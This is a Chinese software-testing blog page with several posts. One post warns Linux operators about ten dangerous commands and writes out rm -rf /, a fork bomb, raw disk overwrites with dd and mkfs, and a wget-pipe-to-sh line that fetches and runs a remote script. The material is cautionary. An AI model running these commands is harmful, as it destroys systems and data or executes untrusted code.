51Testing软件测试网

 
 

常用链接

  • 我的随笔
  • 我的评论
  • 我参与的随笔

留言簿(3)

  • 给我留言
  • 查看公开留言
  • 查看私人留言

随笔档案

  • 2021年6月 (1)
  • 2021年3月 (1)
  • 2020年9月 (1)
  • 2020年3月 (1)
  • 2020年1月 (2)
  • 2019年12月 (3)
  • 2019年11月 (5)
  • 2019年10月 (1)
  • 2019年9月 (2)
  • 2019年8月 (14)
  • 2019年7月 (20)
  • 2019年6月 (15)
  • 2019年5月 (12)
  • 2019年4月 (19)
  • 2019年3月 (20)
  • 2019年2月 (9)
  • 2019年1月 (16)
  • 2018年12月 (17)
  • 2018年11月 (21)
  • 2018年10月 (16)
  • 2018年9月 (20)
  • 2018年8月 (22)
  • 2018年7月 (3)
  • 2018年6月 (1)
  • 2018年5月 (7)
  • 2018年4月 (1)
  • 2018年3月 (3)
  • 2018年2月 (6)
  • 2018年1月 (2)
  • 2017年9月 (8)
  • 2017年8月 (28)
  • 2017年7月 (3)
  • 2016年11月 (1)
  • 2016年6月 (1)
  • 2016年4月 (1)
  • 2016年2月 (2)
  • 2015年7月 (1)
  • 2015年5月 (1)
  • 2015年4月 (2)
  • 2015年3月 (1)
  • 2015年2月 (2)
  • 2015年1月 (6)
  • 2014年12月 (3)
  • 2014年11月 (3)
  • 2014年10月 (3)
  • 2014年9月 (2)
  • 2014年8月 (8)
  • 2014年7月 (16)
  • 2013年12月 (5)
  • 2013年11月 (1)
  • 2013年10月 (3)
  • 2013年9月 (2)
  • 2013年8月 (2)
  • 2013年7月 (3)
  • 2013年5月 (1)
  • 2013年4月 (2)
  • 2013年3月 (2)
  • 2013年2月 (3)
  • 2013年1月 (4)
  • 2012年12月 (4)
  • 2012年11月 (4)
  • 2012年10月 (3)
  • 2012年9月 (4)
  • 2012年8月 (3)
  • 2012年7月 (4)
  • 2012年6月 (2)
  • 2012年5月 (2)
  • 2012年4月 (1)
  • 2012年3月 (2)
  • 2012年2月 (2)
  • 2012年1月 (1)
  • 2011年12月 (3)
  • 2011年11月 (2)
  • 2011年10月 (1)
  • 2011年9月 (4)
  • 2011年8月 (3)
  • 2011年7月 (2)
  • 2011年6月 (4)
  • 2011年5月 (4)
  • 2011年4月 (2)
  • 2011年3月 (4)
  • 2011年2月 (4)
  • 2011年1月 (7)
  • 2010年12月 (7)
  • 2010年11月 (5)
  • 2010年10月 (4)
  • 2010年9月 (7)
  • 2010年8月 (7)
  • 2010年7月 (3)
  • 2010年6月 (3)
  • 2010年5月 (4)
  • 2010年4月 (4)
  • 2010年3月 (5)
  • 2010年2月 (3)
  • 2010年1月 (4)
  • 2009年12月 (3)
  • 2009年11月 (3)
  • 2009年10月 (1)
  • 2009年9月 (3)
  • 2009年8月 (2)
  • 2009年7月 (3)
  • 2009年6月 (1)
  • 2009年5月 (2)
  • 2009年4月 (4)
  • 2009年3月 (5)
  • 2009年1月 (1)
  • 2008年11月 (2)
  • 2008年7月 (5)
  • 2008年6月 (4)

文章分类

  • 行业资讯(45) (rss)
  • 软件业务知识(43) (rss)
  • 软件开发知识(33) (rss)
  • 软件测试工具(39) (rss)
  • 软件测试技术(157) (rss)
  • 软件测试管理(40) (rss)
  • 软件测试职业发展(57) (rss)

51testing软件测试网

搜索

  •  

最新评论

  • 1. re: 淘宝后台技术大揭秘,不看这篇你双十一要损失几个亿!
  • 关注官方公众号“Atstudy网校”,点击中间菜单栏“双11”,领取双十一技术内幕资料。
  • --51testing
  • 2. re: 软件测试流程的一点感悟
  • 提交缺陷时只需要描述现象即可,过多的分析可能会误导开发
  • --凡客诚品
  • 3. re: 软件测试流程的一点感悟
  • 阿达宿建德江阿斯顿
  • --凡客礼品卡
  • 4. re: 手机软件测试的经验总结
  • 很好啊~不错
  • --乐蜂网
  • 5. re: 手机软件测试的经验总结
  • 很好啊~
  • --罗莱家纺

阅读排行榜

  • 1. 软件测试流程的一点感悟(1091)
  • 2. 5年经验之谈:月薪3000到30000,测试工程师的变“行”记!(940)
  • 3. 测试自动化及软件测试工具的比较(857)
  • 4. 银行线上信贷系统如何做好接口测试?手把手教你接口工具Postman(825)
  • 5. 软件为什么要做异常测试?测试员必知的22个测试点总结!(806)

评论排行榜

  • 1. 软件测试流程的一点感悟(4)
  • 2. 软件测试的原则和经验 (4)
  • 3. 嵌入式软件测试技巧(2)
  • 4. 手机软件测试的经验总结 (2)
  • 5. 常用软件测试工具的分析与比较(1)

Powered by: 博客园
模板提供:沪江博客
IT博客 | 首页 | 发新随笔 | 发新文章 | 联系 | 聚合 | 管理

用了Python这么多年,才发现 Python还有这8个鲜为人知的语法……

C++、Java大神Bruce Eckel几个月前在中国之行中,毫不掩饰的表达了对Python的偏爱:“坦白来讲,我最喜欢的语言是Python。每当我有问题需要被解决的时候我发现Python是最快可以给我结果的一个语言,所以我很喜欢,很享受Python。”

有数据显示,2017年在雇主发布的职位说明中,Python技能需求增速达到174%,居于首位。

那作为通用编程语言,Python为何更胜一筹?

近年来,Python 更是横扫了各大语言排行榜。在世界脚本语言排行榜中,Python 强势登顶;在 TIOBE 编程语言排行榜中,Python 地位也在逐月攀升,越来越受广大开发者的欢迎。对比长盛不衰的 Java、C、C++,后起之秀 Python 深受好评。

在 TIOBE 编程语言排行榜中,Python 也紧随 Java、C、之后,在开发者最喜爱的编程语言中位居第三名。

同样作为通用编程语言,不可避免要分出个一二三四来。那么 Java、C、C++ 以及 Python 比起来,谁能独领风骚?谁又略输一筹?

虽然目前来讲,Java 语言仍然傲视群雄,但是通过以上的对比可以发现,即使与 Java、C、C++ 这三个老牌语言相比,Python 也显得游刃有余,甚至隐隐有后来居上的意味。

所以,进入2018年之后,Python几乎成为编程语言界的“网红”,无论是使用人数还是受欢迎程度,都在各项榜单中飙升。5月,Python在PYPL指数榜中的超越Java,首次夺冠。

如果把PYPL编程语言人气指数的时间轴拉长,Python在近十几年的时间里,几乎一直都是“牛市”。

我们都知道Python容易入门且用途广泛,同时我们也可以用Python做一些意想不到的事情……这篇文章的目的在于帮助小伙伴们全面了解Python,仅此而已……

下面,我就来介绍下鲜为人知的一些Python语法:(这些代码玩玩就好,不要在线上写这样的代码,切记,切记.)

1、使用 lambda 表达式重写多行函数

众所周知 python 的 lambda 表达式不支持多行代码。但是可以模拟出多行代码的效果。

虽然看起来很奇怪,但是上面的函数可以使用下面的 lambda 表达式函数代替:

始终记着,永远别在生产环境写这样的代码 :)不然会被打死。

2、替换方法字节码

Python 阻止替换类实例中的方法,因为 python 给类实例中的方法赋予了只读属性:

但是可以在字节码的层面上进行替换:

注意! 这不仅对当前的实例有影响,而且对整个类都有影响(准确的说是与这个类绑定的函数)(译者注:此处应该是笔误,推测作者原意是:准确的说是与这个函数绑定的所有类),并且所有其他的实例也会受到影响:

3、三元运算符

现代的 python 提供了更简便的语法:

b if a else c

也可以通过下面的方式重写:

(a and [b] or [c])[0]
(b, c)[not a]

顺便说一下,下面的变体是错误的:

a and b or c
True and [] or [1] -> [1], but: [] if True else [1] -> []

4、通过列表推导式移除重复的元素.

让我们来把字符串 x = ‘tteesstt’ 转换成 ‘test’ 吧。

1、在原字符串中和上一个字符比较:

''.join(['' if i and j == x[i-1] else j for i,j in enumerate(x)])

2、把前一个字符保存到临时变量中:

3、在新字符串中和上一个字符比较:

[(not r.endswith(i) and [r for r in [r+i]], r)[-1] for r in [''] for i in x][-1]

4、通过 reduce 函数和 lambda 表达式:

reduce(lambda a, b: a if a.endswith(b) else a + b, x)

5、通过列表推导式获得斐波拉契数列

把中间值保存在列表中

把中间值保存到字典中:

通过 reduce 函数和 lambda 表达式:

速度最快的变体:

6、使用列表推导式产生死循环

[a.append(b) for a in [[None]] for b in a]

7、列表切片技巧

复制列表:

移除/替换 列表中的任意元素:

在列表的开头添加元素:

在列表的尾部添加元素:

反转列表:

8、让可变元素作为函数参数默认值

把可变对象作为函数参数的默认值是非常危险的一件事,并且在面试中有大量关于这方面棘手的面试问题。但这一点对于缓存机制非常有帮助。

  1. 阶乘函数:

2.斐波拉契数列:

总结:

Python由于语法简洁,功能强大,且在人工智能、大数据方面展现出效率优势,越来越受到欢迎。

Python把其他语言做了一个封装,调用其他语言做的包。很多的数据科学家其实是不希望学习过于复杂的编程语言的。把他们关于数据方面处理的智慧封装起来,通过Python来调用,这样会方便很多。这也是为什么Python这几年这么流行的原因。

人生苦短,我用Python。

人生苦短,你该好好学学Python了。

​欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                         群:                        755431660 

posted @ 2018-11-15 17:37 51testing 阅读(86) | 评论 (0) | 编辑 收藏
 
运维请注意:10个“非常危险”的Linux命令,果断收藏!

计算机操作系统是管理计算机软硬件资源的一个平台,没有它,任何计算机都无法正常运行,市面上主流的操作系统有Windows、Unix、Linux、Mac OS X。

这里主要说一下Linux系统,Linux是一个类Unix的开源版操作系统,主要有以下几个特点:

开放式操作系统

Linux是一个免费软件,开发者可以自由安装并任意修改软件的源代码,相比Unix的命令行操作,Linux提供了窗口管理系统,相对容易操作,企业可以免费使用Linux,大大降低了成本预算。

强大的硬件支持

Linux系统非常容易维护,用户可以集中更新操作系统和所有安装的软件,即安全又高效。Linux能有效利用系统资源,允许用户针对特定的硬件要求进行安装,允许在旧计算机上安装Linux,从而有助于最佳地利用计算机硬件资源。

安全性高、稳定性强

Linux系统下除非用户以root身份登录,否则程序无法更改系统设置和配置,很少出现因为用户误操作导致计算机无法启动的情形。Linux非常稳定,不易崩溃,Linux能在几年后保持和第一次安装时一样的运行速度。而Windows的话可能在运行半年后,速度就跟不上了。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多。但再完美的系统都有缺陷,在Linux给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不安全,只是说明我们不了解 Linux ,Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面我给大家总结了十条最危险的命令:

(温馨提示:请千万记住不要再服务器或者其他设备上随意尝试~如果你想测试它们,请在虚拟机上运行,不然文件丢失或者系统奔溃就不好了。)

1. rm -rf 命令 

rm -rf命令是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏。

下列是一些rm 命令的选项:

rm 命令在Linux下通常用来删除文件。

rm -r 命令递归的删除文件夹,甚至是空的文件夹。

rm -f 命令能不经过询问直接删除‘只读文件’。Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。

rm -rf / : 强制删除根目录下所有东东。

rm -rf *: 强制删除当前目录的所有文件。

rm -rf . : 强制删除当前文件夹及其子文件夹。

从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)

2. :(){:|:&};: 命令

这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

怀疑的同学可以尽管在虚拟机里试试:

3. 命令 > /dev/sda

这个命令会将某个‘命令‘的输出写到块设备/dev/sda中。

这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

4. mv 文件夹 /dev/null

这个命令会移动某个‘文件夹‘到/dev/null。

在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。

当然,要说明的是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。

上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

5. wget http://malicious_source -O- | sh

该命令会从一个(也许是)恶意源下载一个脚本并执行。

Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。

通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。

一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。

7. > file

这个命令常用来清空文件内容或记录命令输出。

不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。

你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。

如果用上列执行时输入错误或无知的输入类似 “> xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar

这个命令用来编辑先前运行的命令而无需重打整个命令。

这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。

用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。

9. dd if=/dev/random of=/dev/sda

dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。

10. 隐藏命令 

下面的命令相当于rm –rf,它会藏在十六进制hex中,一个无知的用户可能就会被愚弄,如果在终端里运行下面命令可能会擦除你的根分区。

真正的危险是隐藏起来的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。

切记,千万不要编译/运行从未知来源的代码。

这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。

总结:

Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。

​欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                        群:                       755431660 

posted @ 2018-11-14 17:50 51testing 阅读(110) | 评论 (0) | 编辑 收藏
 
大数据时代,IT行业的热门岗位有哪些?9大前景分析!

最近几年,特别是今年,好像经常听到一句话:兄弟,今年生意真难做。是啊,时代在发展,市场也在变,很多人的处境越发艰难,只有适应了市场的变化才能生存。

大数据的市场前景广阔,而技术能否达到预期的效果,关键是在于能否找到适合信息社会需求的应用模式。而无论是在竞争还是合作的过程中,如果没有切实的应用,大数据于企业而言依然只是海市蜃楼。

记得上高中的时候,诺基亚还是街机,可Nokia说倒就倒,现在已然是苹果、华为等智能机的天下,瓜分着手机市场的利润。印象中,IT行业就是“程序猿”的天下,他们工作任务重,加班加点,喜欢宅家、枯燥、没幽默感,当然还有那么一丝神秘?但你真的了解吗?几张图,告诉你真正的IT行业是怎样的?

IT行业的重要性:

目前,中国软件产业还是处在成长期,它的市场潜力还没有完全被挖掘出来。IT产业作为一个知识密集以及技术密集的产业,其迅猛发展的关键是有一大批从事IT技术创新的人才。具有一定数量、结构和质量的IT人才队伍是支撑IT产业发展的必要前提。

IT产业的竞争实际上就是人才的竞争,高水平的IT人才培养和队伍建设是走向IT产业大国和强国的前提条件。

IT行业的热门岗位:

新的想法诞生新的技术,随着云计算、大数据、BYOD、社交媒体、3D打印机、物联网……等新技术的出现,毫无疑问在新趋势下,自然会诞生一些新的工作岗位,下面我就为大家介绍未来几年IT行业的热门工作岗位:

1、算法工程师

在大数据时代,算法的功能和作用主要体现在:针对公司搜索业务,开发搜索相关性算法、排序算法;对公司海量用户行为数据和用户意图,设计数据挖掘算法等。

算法工程师,根据研究领域来分主要有音频/视频算法处理、图像技术方面的二维信息算法处理和通信物理层、雷达信号处理、生物医学信号处理等领域的一维信息算法处理。另外数据挖掘、互联网搜索算法这些体现大数据发展方向的算法,在近几年越来越流行,而且算法工程师也逐渐朝向人工智能的方向发展。

2、软件测试工程师

软件测试人员的主要职责是对软件产品的整个开发过程进行监督和检验,使之能够达到满足客户的需求,因此对于企业来讲是十分重要的岗位。在国外,一般软件测试人员与软件开发人员的岗位设置比例是1:1,像微软在开发Windows2000时候使用的软件开发人员是1700名,而专业的测试工程师有3200名,测试开发人员比例高到1.7:1,由此可见软件测试岗位重要性的不一般。

近几年,软件测试工程师因入门门槛低、就业好、薪水高、工作轻松等特点受到追捧。

因为软件测试工作是对质量的把关,其中包含技术及管理等方面的工作,工作相对稳定,对年龄没有限制,而且随着经验的积累,工龄越长越吃香,所以发展前景很好,不需要担心失业问题。

3、数据挖掘工程师

数据挖掘工程师,也可以叫做“数据挖掘专家”。数据挖掘是通过分析每个数据,从大量数据中寻找其规律的技术。数据挖掘是一种决策支持过程,它主要基于人工智能、机器学习、模式识别、统计学、数据库、可视化技术等,高度自动化地分析企业的数据,做出归纳性的推理,从中挖掘出潜在的模式,帮助决策者调整市场策略,减少风险,做出正确的决策。

数据挖掘工程师掌握的技能,能够为其快速创造财富。当年亚马逊的首位数据挖掘工程师David Selinger创办的数据挖掘公司,将类似于亚马逊的产品推荐引擎系统销售给在线零售和广告销售商,而这种产品推荐引擎系统,也成为亚马逊有史以来最赚钱的工具。数据挖掘的价值由此可见一斑。

4、全栈工程师

一名合格的全栈工程师应具备这些技能——JavaScript,完整堆栈框架,Java,级联样式表和超文本标记语言。

市场对全栈工程师的需求相较去年上升了117%,这个数据是非常惊人的!该行业对程序员的要求比较高。

而在职的开发人员中,也有大量的公司正努力培养内部开发人员向全栈开发方向转变。

5、安全工程师

移动互联网深入到生活方方面面的今天,网络安全在个人信息保护、隐私保护、企业数据保密方面显得尤为重要。

安全工程师应具备这些技能——防火墙,Linux,网络安全,信息安全。市场对本职位的需求较去年上升了15%,帮助公司保护数字财产的专业人士的需求正在稳步增长,尤其是近年来数据安全事件频频发生,企业级数据安全开始受到了广泛重视。

6、移动应用开发工程师

移动应用开发,会随着移动互联网时代的到来变得更受追捧。截至2012年底我国已经有10亿手机用户,移动智能终端用户超过4亿,在移动支付、移动购物、移动旅游、移动社交等方面涌现了大量的移动互联网游戏、应用和创业公司。

移动平台智能系统较多,但真正有影响力的也不外乎iOS、Android、WP、Blackberry等。大量原来PC和互联网上的信息化应用、互联网应用均已出现在手机平台上,一些前所未见的新奇应用也开始出现,并日渐增多。

7、系统架构师

众所周知,云计算和大数据的出现,使得传统的数据中心基础设施难以胜任;另一方面,日益激烈的市场竞争和移动互联等商机的出现,势必会给企业业务带来深刻变革。这种变革和IT架构转型,都会牵扯到IT系统架构这个核心问题。相比之前介绍的那些IT技能和所对应的岗位,系统架构师的规划部署能力显得尤为重要,它牵扯的是整个面而不是某个领域某个点的痛点。

8、数据库管理员

几乎所有项目都需要数据库的支持,对于大型,超大型项目,会有一个叫做DBA的职位。他对数据库知识极为精通,平时对数据库进行管理,开发时能帮助开发团队设计数据库,并且找出性能瓶颈,进行性能调优。

代表着更多类型(尤其是非结构化类型)的海量数据的涌现,要求我们实时采集、分析、传输这些数据集,在对基础设施提出严峻挑战的同时,也特别强调了数据库开发和管理人员的挑战。

9、VR/AR工程师

VR/AR工程师应具备以下技能:Java,C / C ++,C#,Python和虚拟现实。

VR工程师目前的需求很高——这个职位的市场需求在短短一年内就上升了45%。由于是新兴行业,所以有很多创业公司涌现,市场的人才缺口一直很大,感兴趣的程序员可以考虑该方向。

总结:

IT行业的成长之路没有一条不充满着荆棘和困难,所以你很容易掉入不健康的自我思考和职业选择的陷阱。但只要你能全身心投入,持续改善提高,认识到自己不过是个有梦想的人,能够设身处地地思考,就可以实现自己进入IT行业的小目标了。

​欢迎加入  51软件测试大家庭,在这里你将获得【最新行业资讯】,【免费测试工具安装包】,【软件测试技术干货】,【面试求职技巧】... 51与你共同学习,一起成长!期待你的加入: QQ                       群:                      755431660 

posted @ 2018-11-13 17:38 51testing 阅读(73) | 评论 (0) | 编辑 收藏
 
淘宝后台技术大揭秘,不看这篇你双十一要损失几个亿!

转眼间双十一来了,

听说你已经把宝贝提前收藏,

只待今天疯狂“剁手”

那么问题来了,除了买买买,

你需要程序猿男朋友吗?

会写代码抢秒杀的那种,

为了你双十一的便利,我什么都愿意,

但请发现我默默的付出,记住我的好!

据不完全统计,正是因为大家热情的刷刷刷,阿里巴巴被《福布斯》杂志评选为最有投资价值公司,超过了第二名Facebook、和第三名Uber,也是因为全民参与度,让阿里巴巴在“技无止境”的路上勇猛狂奔。

2009年,双11诞生,高峰每秒只有400个请求。2017年,交易额增长200倍,交易峰值增长超过400倍,实现了每秒处理17万条请求的技术奇迹,产生了以“全链路压测”为代表的世界级技术创新。

作为淘宝双十一的发起者和运营维护者,阿里巴巴硬是把“光棍节”,打造成一个全民购物节,在收获掌声和财富利益的同时,最应该感谢的应该是那些为了整个平台正常运营,在幕后默默付出的程序猿、测试猿、攻城狮、设计狮们……


他们到底付出了多少?那就跟着我一起走进淘宝后台技术大揭秘,看看他们的双十一↓↓↓↓↓

→ UI

当你点开双11主页看着舒适美观的界面,

当你欣赏乱花迷人眼的banner设计,

你可曾想过背后有多少设计狮和测试猿,

为了我们眼中的“美”,加班加班加班,测测测,改改改!

UI设计&UI测试——新时代视觉尖端行业

随着互联网的崛起,网购越来越受人欢迎。2018手机淘宝推出了最颠覆性的UI页面,比如:颜色从单一到渐变、多状态icon、圆角矩形搜索框换成圆头更具亲和力、结构立体、动态传达……设计美观的UI界面可以吸引更多的客户,用户体验度更高,让我们开心“剁手”,他们的付出你看到了吗?

同时,为了保证用户的访问没有异常,UI测试就显得格外重要。UI 测试的目标在于确保淘宝界面向用户提供了适当的访问链接和必备的功能操作。除此之外,UI 测试还要确保 UI 功能内部的对象符合预期要求,并遵循行业的标准。在atstudy电商UI自动化测试课程中,对于复杂的UI界面的自动化测试,列举了很多特殊场景的实现方式,UI因其变化快类型多的特点也为测试工作增加了难度。

→ HTML5

你在淘宝上每一次滑动、每一次点击、每一次浏览,

都是HTML5前端工程师们熬着通红的双眼雕琢的界面,一个函数、一段代码、一个模块都曾反复推敲、设计、实现!

使用Bootstrap技术可以实现商品的【排列布局】

使用JSP+Servlet 技术可实现页面的【点击、反应、跳转】

使用 JS/jQuery 技术可以做出精美【动画】

HTML5 — 让网页变的流行起来

H5改变了"网页即文档"的传统局面,大大增强了网页的富媒体特性。现在各种尤其是营销类app都从Native APP往Hybird APP发展,比如微信、QQ、手机淘宝、支付宝等等重量级应用,都在多个入口嵌入了H5。因此,H5的测试需求量日益攀升。

→ VR

无论是过年的“扫福字”,还是双11的“捉猫猫”,

你感觉到了吗,VR技术已经切实的来到了你身边。场景可移动、商品有交互、交易能闭环,VR工程师将线上线下双重链接,完美地增加了购物的趣味性。

VR的春天已经来临

虚拟现实和增强现实技术的飞速发展在不断刷新着我们的期待、颠覆着我们的想象。

我们仿佛已经可以预料到,在将来的某一天,我们走进影院时,可能不再是戴着3D眼镜观影,而是戴着VR头盔更加身临其境的置身于电影场景中, 360度无死角观影。

虽然虚拟现实技术现在看起来还非常初级,但可以肯定的是,虚拟现实技术未来终会实现我们与虚拟世界之间更加自然的交互。

→ 大数据

当你打开天猫,逛着系统为你自动推荐的“猜我喜欢”时,

你是否知道,你已经处在一个大数据的时代,程序员们已经根据历史反馈数据、用户与商品的交叉特征为你建好的目标模型。

无处不在的大数据技术

当大数据像暴风骤雨般的袭面而来时,它颠覆了以往我们对数据的惯性思考方式,要保证数据执行,软件质量,测试质量,数据使用场景等,都需要从多维视角进行规划,对软件产品本身及其现场环境开启全方面的思考。

在大数据时代,大多数企业都对大数据寄予厚望,数据挖掘,人工智能,机器学习这一系列高大上的技术应运而生,面对日新月异的技术变革,你不掌握一二,很快会被时代淘汰。

→ 人工智能

当你购物时遇到疑问,点击咨询客服时,

你有发现吗,根据你的问题,系统已经可以自行生成部分答案。这就是被誉为“第四次工业革命”的人工智能。双11期间,阿里人工智能咨询将解决95%的客服问题。

人工智能大行其道,你要上车吗?

现如今,人工智能火到“爆”,并成为未来的重要技术趋势。人工智能可以传达的优势有很多,包括可以机器视觉、指纹识别、人脸识别、视网膜识别、掌纹识别、虹膜识别等等,让智能解决重复简单的问题,让人工去提供更高级的服务。同时,无论是人工智能还是大数据、云,都必须依赖于软件测试技术,才能准确寻找出自身存在的缺陷,继而对其进行修改和完善。

→ 架构师

当你在双11零点,开始支付购物车的特价宝贝时,

你可知有多少互联网架构师在“每秒17万请求”的流量重压下,加班加点地保证着网络的畅通无阻。

互联网架构师

互联网架构师无论是测试还是开发,都不是一种头衔,而是一种角色,更重要的是一种能力—对团队的影响力。我们所熟悉的比尔盖茨、乔布斯都是架构师出身。任何一个人成为软件架构师,都是一个渐进的过程,不断积累经验,不断提高自己的技术水平和业务能力,程序设计语言,Linux系统、分布式缓存、数据库读写分离、性能调优,负载均衡、消息队列等……都是通往架构师职能的必备技术, 此外严密的逻辑思维能力,可重用易于优化扩展的分层设计能力,也是该只能不可或缺的专业素养,如此才能逐渐胜任架构师的角色。

→ Java

当双11的数字瞬间突破1000亿,

当你收到“穿越货群,极速奔跑”的宝贝们时,

在后端服务器,一大波Java工程师、PHP工程师、.Net工程师正在用心守护...

2017.11.11 24:00:00成交额

2018.11.11 24:00:00成交额

是什么支撑了淘宝双十一,没错就是它java语言

历史成交额:第一年的5000W,2015年912亿,2016年单日千亿,2017年1682亿。淘宝再次刷新世界支付记录。世界上规模最大,复杂性最高电商系统就是淘宝没有之一,淘宝已掌握核心科技,然而这一切都是在java语言的基础上建立起来的。

阿里系公司现在基本是全线java,而且水平在国际上也是一流的,世界上很少有java的系统可以面对像淘宝支付宝这样的高并发,大数据的挑战,已经把java技术发挥到了极致。

还有就是国内基本上做电子商务的,无论是o2o电商,跨境电商等等基本上都效仿用阿里的分布式服务治理soa解决方案 ,并且阿里还开源了分布式框架dubbo,纯java编写。你说Java重要吗?

看到这里的都是真爱,小编当然要送福利了:

关注官方公众号“博为峰网校”,点击中间菜单栏“双11”按钮,领取双十一技术内部资料。

posted @ 2018-11-12 18:22 51testing 阅读(217) | 评论 (1) | 编辑 收藏
 
小心!网购支付页面前缀应是https不是http!三大区别总结!

背景:谷歌在2018年,2月9日宣布从今年7月起,Chrome浏览器将在地址栏把所有HTTP网址标示为不安全网站。

谷歌早在2017年1月发布的Chrome 56,开始把要求用户输入密码或信用卡信息的HTTP网页标识为“不安全”;2017年10月发布的Chrome62,开始把需要输入数据的HTTP网页和在Incognito模式下浏览的HTTP网站标示为“不安全”。

两周前进行了一家公司的电话面试,视过程中遇到了一个关于http与https的问题,当时回答的并不好,所以查阅了多方资料,询问了身边的大神,今天将其进行了总结和整理,希望可以帮助大家。

1、首先我们先得了解http与https是什么?

http:超文本传输协议,是一个客户端和服务器端请求和应答的标准,用于从WWW服务器传输超文本到本地浏览器的传输协议,它可以使浏览器更加高效,使网络传输减少。;

简单来说是这么一个流程:

小明 跟 浏览器爸爸 说我想要去中关村某个店家拿一些东西 (发起请求)

浏览器爸爸 就把 小明 要的东西记在一张清单上 (生成HTTP协议)

然后 浏览器爸爸 派出一个 线程小弟,噌噌噌跑到中关村的店里,把清单递给 店家,说小明要这些东西 (进行传输)

店家 让 线程小弟 稍等,然后去屋子里面拿小明的这些东西 (服务器收到请求)

店家 把东西拿出来后,并且也打印了一份清单,让 线程小弟 带着清单和东西一起拿回去 (服务器处理请求完毕)

然后 线程小弟 回到 浏览器爸爸 那边,把服务器给的清单和物品交给浏览器爸爸,浏览器爸爸根据清单核对物品 (浏览器处理响应)

然后把物品打包交给了 小明 (浏览器渲染并呈现界面)

https:

https协议比http协议多了一个s,字面意思上s=secure(安全)。它跟http协议一样都是应用层协议,都是工作在TCP协议之上。

只不过https协议在传输过程中的数据都是经过了加密。本质上HTTPS协议就是在TCP协议之上又加了一层SSL协议来实现了加密这个操作(不准确的说HTTPS就就是披着是SSL的皮的HTTP协议)

2、HTTPS和HTTP的区别

HTTP协议工作在80端口,HTTPS协议工作在443端口

HTTPS需要申请证书(用于验证服务器身份)

HTTP在TCP三次握手建立连接之后即可开始传输数据;HTTPS协议则需要在建立TCP连接之后客户端与服务器在进行SSL加密,确定对话密钥,完成加密后才开始传输数据。

HTTPS协议传输是密文,HTTP协议传输是明文

大致的区别就以上4点,其实最主要的就是SSL协议加密对话产生对话密钥的过程

3、http、https 等常用默认端口号:

⑴. HTTP协议代理服务器常用端口号:80/8080/3128/8081/9080
⑵. SOCKS代理协议服务器常用端口号:1080
⑶. FTP(文件传输)协议代理服务器常用端口号:21
⑷. Telnet(远程登录)协议代理服务器常用端口:23

HTTP服务器,默认的端口号为80/tcp(木马Executor开放此端口);

HTTPS(securely transferring web pages)服务器,默认的端口号为443/tcp 443/udp;

Telnet(不安全的文本传送),默认端口号为23/tcp(木马Tiny Telnet Server所开放的端口);

FTP,默认的端口号为21/tcp(木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口);

FTP(Trivial File Transfer Protocol),默认的端口号为69/udp;

SSH(安全登录)、SCP(文件传输)、端口重定向,默认的端口号为22/tcp;

SMTP Simple Mail Transfer Protocol (E-mail),默认的端口号为25/tcp(木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口;

POP3 Post Office Protocol (E-mail) ,默认的端口号为110/tcp;

WebLogic,默认的端口号为7001;

Webshpere应用程序,默认的端口号为9080;

webshpere管理工具,默认的端口号为9090;

